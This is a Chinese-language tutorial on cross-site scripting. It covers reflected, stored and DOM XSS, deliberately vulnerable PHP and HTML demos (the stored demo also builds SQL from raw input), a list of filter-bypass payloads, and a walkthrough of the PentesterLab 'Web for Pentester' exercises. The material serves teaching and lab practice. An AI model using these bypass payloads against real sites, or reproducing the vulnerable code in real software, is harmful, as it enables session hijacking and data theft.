XSS从0到1

前言

什么是XSS

跨站脚本(Cross-Site Scripting,简称为XSS或跨站脚本或跨站脚本攻击)是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入网页,其他用户在浏览网页时就会受到影响。恶意用户利用xss代码攻击成功后,可能得到很高的权限、私密网页内容、会话和cookie等各种内容。

XSS的危害

XSS可能不如SQL注入、文件上传等漏洞能够直接得到较高权限,但是XSS的运用十分灵活,也会带来很大的危害:

  1. 网络钓鱼
  2. 盗取cookie
  3. 劫持会话
  4. 强制弹出广告、刷流量
  5. 网页挂马
  6. 提升用户权限
  7. 配合其他漏洞,如CSRF
  8. 等等

XSS分类

XSS攻击可以分为三种: 反射型、存储型和DOM型。

反射型XSS:前端 –> 后端 –> 前端

存储型XSS:前端 –> 后端 –> 数据库 –> 前端

DOM型XSS:前端

反射型XSS

反射型XSS又称非持久型XSS,这种攻击方式往往具有一次性

攻击方式: 攻击者通过电子邮件等方式将包含XSS代码的恶意连接发送给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器把带有xss代码的数据发送给目标用户的浏览器,浏览器解析这段xss代码,就会触发xss漏洞。

实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>XSS</title>
</head>
<body>
<h1>反射型XSS</h1>
<form method="get">
<input type="text" name="xss1"/>
<input type="submit" value="test"/>
</form>
</body>
</html>

<?php
error_reporting(0);
$xss = $_GET['xss1'];
if($xss1 == null){
echo $xss;
}
?>

反射

在输入框中随便输入,发现可以输出出来。

test

我们在输入框中插入HTML标签 <h1>test</h1>

h1标签

发现<h1></h1>并未输入,我们查看源代码

可以看出<h1></h1>标签被HTML执行了。我们在插入一段HTML代码测试一下:

1
<h1>aaa</h1> <style> h1 { color: orange; text-align: center; } </style>

发现我们输入的html代码确实被执行了。

我们再输入js脚本,<script></script>

script

这就是一种典型的反射型XSS,我们可以发现,我们输入恶意代码暴露在URL参数中,并且时刻要求目标用户浏览方可触发。不过我们可以将包含漏洞的链接通过短网址缩短或者转换为二维码等形式灵活运用。

短连接生成

存储型XSS

存储型XSS和反射型XSS的差别仅在于:提交的XSS代码会存储在服务端(不管是数据库、内存还是文件系统等),下次请求目标页面时不用再提交XSS代码。最典型的例子是留言板XSS。

反射型 访问我们构造的链接

存储型 访问原网站链接

实例

我们在本地创建一个xss数据库,里面新建一个messages表,用来存放用户的留言信息,有三个字段:idusernamemessageid设为主键,并勾选自动递增

前端、后端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>XSS</title>
</head>
<body>
<!-- 前端用户输入表单 -->
<h1>存储型XSS</h1>
<form method="post">
<input type="text" name="username" placeholder="姓名"/>
<input type="text" name="message" placeholder="请输入您的留言"/>
<input type="submit" value="test"/>
</form>
</body>
</html>


<?php
/*数据库信息配置*/
$host = "localhost";
$port = "3306";
$user = "root";
$pwd = "root";
$dbname = "XSS";
$conn = new mysqli($host, $user, $pwd, $dbname, $port);

/*直接将留言插入到数据库中*/
// if isset($_POST['username'] && $_POST['message']){
$username = $_POST['username'];
$message = $_POST['message'];

if($username and $message)
{
$sql = "insert into message(username, message) values ('{$username}', '{$message}')";
if($conn->query($sql) === TRUE)
{
echo "留言成功"."<br>";
}
else
{
echo "Error:".$sql."<br>".$conn->error;
}
}
else
{
echo "请填写完整信息"."<br>";
}

/*查询数据库中的留言*/
$sql = "select username, message from message";
$result = $conn->query($sql);
if($result->num_rows > 0)
{
while($row = $result->fetch_assoc())
{
echo "用户名:". $row['username']. "留言内容:". $row['message']."<br>";
}
}
else
{
echo "暂无留言";
}
?>

将以上代码保存为php文件,配置好数据库连接信息,通过http服务去访问,可以得到如下界面:

留言板

我们先随便输入几条留言看看

查看一下数据库

可以看到我们输入的数据已经插入到数据库中了。

那么我们能不能像上面一样,插入一些恶意代码呢?试一下

插入 <script>alert("hacker xss")</script>

我们插入的留言被执行了。看一下数据库,被插入到数据库中了。

我们换个浏览器试一下

存储型XSS的攻击是最隐蔽的也是危害比较大的,普通用户所看的URL为http://127.0.0.1/cunchuxss.php,从URL上看均是正常的,但是当目标用户查看留言板时,那些留言的内容会从数据库查询出来并显示,浏览器发现有XSS代码,就当做正常的HTML与JS解析执行,于是就触发了XSS攻击。

DOM型XSS

通过修改页面的DOM节点形成的XSS,称之为DOM XSS。它和反射型XSS、存储型XSS的差别在于,DOM XSS的XSS代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的DOM解析,可以认为完全是客户端的事情。

实例

HTML代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>dom xss</title>
<script type="text/javascript">
function change(){
document.getElementById("id1").innerHTML = document.getElementById("dom-input").value;
}
</script>
</head>
<body>
<center>
<h3 id="id1">这里会显示输入的内容</h3>
<form action="" method="post">
<input type="text" id="dom-input" placeholder="输入"><br />
<input type="button" onclick="change()" value="替换">
</form>
<hr>
</center>
</body>
</html>

代码很简单,存在JS函数change(),该函数通过DOM操作将元素id1(输出位置)的内容修改为元素dom_input(输入位置)的内容。

DOM型XSS程序只有HTML代码,并不存在服务器端代码,所以此程序并没有与服务器端进行交互。

构造如下语句:

1
<img src="http://39.97.251.161/usr/uploads/2020/04/449512334.png" onerror=alert(/DOM XSS/)/>

直接在img标签中插入onerror事件,该语句表示当图片加载出错的时候,自动触发后面的alert()函数,来达到弹窗的效果。

触发标签与属性

通用总结

1
2
3
4
5
onerror
onmouseover
onmouseout
onmousemove
onclick

script

通常触发方式

a

1
2
3
4
onmouseover
onmouseout
onmousemove
onclick

img

1
2
3
4
5
onerror
onmouseover
onmouseout
onmousemove
onclick

div

1
2
3
4
onmouseover
onmouseout
onmousemove
onclick

payloads

简单粗暴的测试payload

1
2
3
4
5
<script>confirm(1);</script>
<img src=1 onerror=prompt(1)>
<table background="javascript:confirm(1)"></table>
<a href="javascript:confirm(1)">a</a>
<a href="javascrip&#116&#58confirm(1)">a</a>

过滤测试

payload - 0

1
zxcv%20script<>"%27

payload - 1

1
<script>alert(1);</script>

payload - 2

观察是否存在大小写混淆绕过

1
<sCript>alert(1);</scRipt>

payload - 3

递归构造法

1
Pent<<est<script>erL>ab>>

payload - 4

递归构造法

1
<scr<script>ipt>alert(1);</sc</script>ript>

payload - 5

查看代码部分的关键词是否被限制了

1
alert

payload - 6

测试img标签

1
<img src=1 onerror=prompt(1)>

payload - 7

测试div标签

1
<div onmouseover=alert(1)>1</div>

基本混淆

大小写混合

宽字节

XSS靶场

web for pentester

官网:https://pentesterlab.com/

下载地址https://isos.pentesterlab.com/web_for_pentester_i386.iso

安装方法:通过虚拟机挂载iso运行,该靶场环境是封装在debian系统里面的,运行在时候直接以Live方式运行,然后ifconfig查看下ip地址,在浏览器输入IP地址即可。

Example 1 – 无任何过滤

测试

name=xssname=<h1>xss</h1>观察页面,并查看源代码,发现输出是在标签外,则不需要闭合标签。

payload

1
example1.php?name=<script>alert('XSS')</script>

Example 2 – 大小写绕过

思路

  1. 和Example 1一样,先随便输入一下数据测试,通过观察结果,可以判断name参数的注入点没有过滤尖括号<>

  2. 用基本语句测试 <script>alert("xss")</script>,发现页面中只剩下的alert("xss")<script></script>被过滤了,那么就需要绕过过滤。

  3. 尝试大小写转换,输入<Script>alert("xss")</script>,发现页面中前一个<Script>没有被过滤,只有后一个</script>被过滤了

    那么大小写是可以绕过过滤的,输入:<Script>alert("xss")</Script>

payload

1
example2.php?name=<Script>alert("xss")</Script>

Example 3 – 嵌套绕过

思路

  1. 经过上面的测试,没有过滤alert('xss'),现在就把注意力集中在 <script></script>
  2. 使用过滤测试Example 2 payload探测。观察到结果中有一部分尖括号被过滤,但也有部分尖括号未被过滤。
  3. 构造payload

payload

1
2
3
example3.php?name=<scr<script>ipt>alert(1);</sc</script>ript>

example3.php?name=<script >alert(1)</script >

Example 4 – script直接被过滤,用其他标签

思路

script这个关键词被禁用。考虑用其他标签触发XSS。最常用的还是img标签。
除了img标签以外,还可以考虑a标签和div标签等。

触发函数有 onerror, onmouseover, onmouseout, onmousemove, onclick

payload

1
2
3
4
5
6
7
8
9
10
11
<img src=1 onerror=alert(1)>
<img src=1 onerror='alert(1)'>
<img src=1 onerror='alert(1)' />
<img src='1' onerror='alert(1)' />
<img src="1" onerror='alert(1)' />
<img src=1 onmouseover=alert(1)>
<a href=1 onmouseover=alert(1)>1</a>
<div onclick=alert(1)>1</div>
<div onmouseover=alert(1)>1</div>
<img src=1 onmouseover=prompt(1)>
<img src=1 onmouseover=confirm(1)>

Example 5 – String.fromCharCode编码绕过

思路

alert被限制的情况。

绕过思路1,不使用alert而用其他的类似函数,比如confirmprompt

1
2
<script>confirm(1)</script>
<script>prompt(1)</script>

绕过思路2,编码函数名

1
2
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>

Example 6 – —–标签内,闭合标签

直接注入JavaScript代码中。
不闭合script标签的情况,可以考虑用//注释后面的代码

在一个script的标签内,先实现闭合";alert(1)//,";用来闭合前面,//注释后面。将hello,hacker的地方写一个alert(1)即可。

1
2
";alert(1)//
";alert(1);var a="

顺带再闭合一下script标签也不是不可以,只是有点多此一举。

1
2
";</script><script>alert(1)//
</script><script>alert(1)</script><script>

Example 7 – 标签内—–闭合标签

左右尖括号和双引号<,>,"被HTML encoding。
如上个例子所述,其实并不需要用到尖括号,并且可以用单引号分割。
(用双引号还是单引号分割得看目标页面的代码怎么写,类似于python)

1
';alert(1)//

Example 8 – 有过滤,表单

对尖括号进行的过滤,转义;
有一个表单:输入xxxx点击提交,查看源码:

1
2
3
HELLO xxxxx<form action="/xss/example8.php" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>

尖括号无法绕过,然后发现表单的url可以被重置

1
/xss/example8.php//%22%20onsubmit=%22alert('1')

然后点击提交,会触发弹窗

1
2
3
<form action="/xss/example8.php/" onsubmit="alert('1')" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>

Example 9 – 直接在#后面添加alert(1)

DOM型 XSS 的典型代表,恶意输入并没有直接反映在返回的HTML中,而要依赖浏览器动态执行JavaScript之后,恶意输入才能被执行。

把URL改成http://192.168.150.157/xss/example9.php#alert(1)
首先看到代码里有document.write(location.hash.substring(1));</script>,所以显然入口在这里。
document.write()是把括号中的内容写到HTML文档中,location.hash就是得到URL#开始的字符串,substring(1)就得到了#后的字符串。
所以就在#后加入payload:#alert(1)